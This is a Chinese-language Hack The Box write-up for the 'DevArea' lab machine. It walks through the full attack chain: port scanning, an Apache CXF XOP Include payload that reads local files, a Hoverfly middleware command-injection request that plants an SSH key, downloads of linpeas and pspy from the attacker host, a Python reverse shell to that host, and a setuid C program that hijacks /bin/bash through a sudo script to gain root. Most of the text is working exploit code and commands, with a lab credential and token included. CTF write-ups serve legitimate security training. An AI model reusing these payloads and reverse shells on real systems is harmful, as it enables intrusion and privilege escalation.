HTB - DevArea

复制代码
10.129.13.46

nmap扫描

复制代码
sudo nmap --top-ports 10000 10.129.13.46 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.13.46 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.13.46 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.13.46 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

详细nmap扫描

复制代码
nmap -sV -sC -p21,22,80,8080,8500,8888 --min-rate=1000 10.129.13.46 -vv -Pn

写入hosts

复制代码
echo '10.129.13.46 devarea.htb' | sudo tee -a /etc/hosts

窃取所有ftp内容

复制代码
wget -m ftp://anonymous:anonymous@devarea.htb

vhost扫描

复制代码
ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://devarea.htb/ -H 'Host: FUZZ.devarea.htb' -mc all -fw 18

阅读jar文件

复制代码
jd-gui

我们发现其调用了apache.cxf包,该包在google搜索,发现了其SSRF漏洞

https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECXF-3168315

复制代码
<stringvalue><inc:Include href="http://attackers.site/exploit/payload" xmlns:inc="http://www.w3.org/2004/08/xop/include"/><stringvalue>

我们经过大量GPT的询问和尝试,我们成功了

复制代码
curl -v http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<root.message@cxf.apache.org>"; boundary="----=_Part_0"' \
  --data-binary $'------=_Part_0\r
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r
Content-Transfer-Encoding: 8bit\r
Content-ID: <root.message@cxf.apache.org>\r
\r
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>false</confidential>
            <content>
              <xop:Include href="file:///etc/passwd"
                xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
            </content>
            <department>IT</department>
            <employeeName>admin</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>\r
------=_Part_0--\r'

本地文件读取-查看服务内容

到这里我们拥有了读取文件的能力,我们进一步查看环境变量和服务情况

复制代码
/etc/systemd/system/hoverfly.service
复制代码
admin O7IJ27MyyXiU

根据文章构建payload

https://github.com/advisories/GHSA-r4h8-hfp2-ggmf

复制代码
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: devarea.htb:8888
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4OTA4MDIsImlhdCI6MTc3NDg1MDgwMiwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.GFENH5Z1jDQpYmWg8m-iC84_DGqiaahDeKb6t4212E9whLyiF9AzwOphH1RmoLg2T6aWIfO4cwEd7wyIHcMXtA
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Referer: http://devarea.htb:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 185

{
    "binary": "/bin/bash",
    "script": "echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDX5jjrKqCHYrBzgvQ5y/Cuk4vbqQZQbmaiPL1ljT5ZB kali@kali' > /home/dev_ryan/.ssh/authorized_keys"
}

我们登录系统

复制代码
ssh -i ~/.ssh/id_ed25519 dev_ryan@devarea.htb

上linpeas和pspy

复制代码
wget http://10.10.15.179/pspy64 && chmod 755 pspy64 && ./pspy64
wget http://10.10.15.179/linpeas.sh && chmod 755 linpeas.sh && ./linpeas.sh

开启SSH隧道

复制代码
ssh -i ~/.ssh/id_ed25519 dev_ryan@devarea.htb -L 0.0.0.0:7777:127.0.0.1:7777 -fN

我们在linpeas中发现了一个关键内容

我们查看了该服务的细节信息

我们可以控制bash,也就意味着我们可以劫持该服务。接着我们查看如何触发该服务,我们看到了plugin .我们发现所有SERVICES数组 中的服务会被开启。我们猜测conf里面会配置相关信息

很好,我们找到了。

也就是说我们可以通过下面的命令触发/bin/bash。

复制代码
sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh

接着劫持/bin/bash,先写好C语言文件 shell.c

复制代码
#include <stdlib.h>
#include <unistd.h>

void main() {
    setuid(0);
    setgid(0);
    system("chown root:root /tmp/bash; chmod +s /tmp/bash");
}

然后编译

复制代码
wget 10.10.15.179/shell.c

gcc -static -o pwn shell.c

我们发现ssh自动开启/bin/bash,这导致我们无法修改文件,所以我们先创建一个sh shell,接着退出ssh,然后修改/bin/bash。

复制代码
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.15.179",80));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' &

成功覆写

复制代码
cp /bin/bash /tmp/bash.bak
cp /bin/bash /tmp/bash
cp pwn /bin/bash

我们再进一步触发

复制代码
sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh

成功root

复制代码
/tmp/bash -p
相关推荐
Chuer_1 小时前
讲透财务Agent核心概念,深度拆解财务Agent应用趋势
大数据·数据库·安全·数据分析·甘特图
IT菜鸟程1 小时前
网络安全实战nginx漏洞版本升级 1.28.0到1.30.0
安全·web安全
JS_SWKJ1 小时前
多网闸级联部署避坑指南:安全与性能如何兼得?
网络·安全
YaBingSec2 小时前
玄机靶场:供应链安全-供应链应急-Part2 通关笔记
java·笔记·安全
黎阳之光2 小时前
黎阳之光:以视频孪生+全域感知,助力低空经济破局突围
大数据·人工智能·算法·安全·数字孪生
运维行者_3 小时前
通过OpManager的Windows服务监控能力释放最佳IT网络性能
服务器·开发语言·网络·windows·web安全·php
Promise微笑3 小时前
开关柜局放测试仪选型避坑指南:如何从技术维度保障电力资产安全?
人工智能·安全
g3voip3 小时前
SIP 对讲广播系统优质厂家与品牌推荐
tcp/ip·安全·信息与通信·调度
派拉软件3 小时前
从 IAM 到 AAM,重构 AI Agent 时代的访问控制体系
大数据·人工智能·网络安全·重构·iam·身份与访问控制·aam
天山@1234 小时前
跨站脚本攻击(XSS)深度剖析:从原理到实战绕过及防御体系
网络安全·xss·beef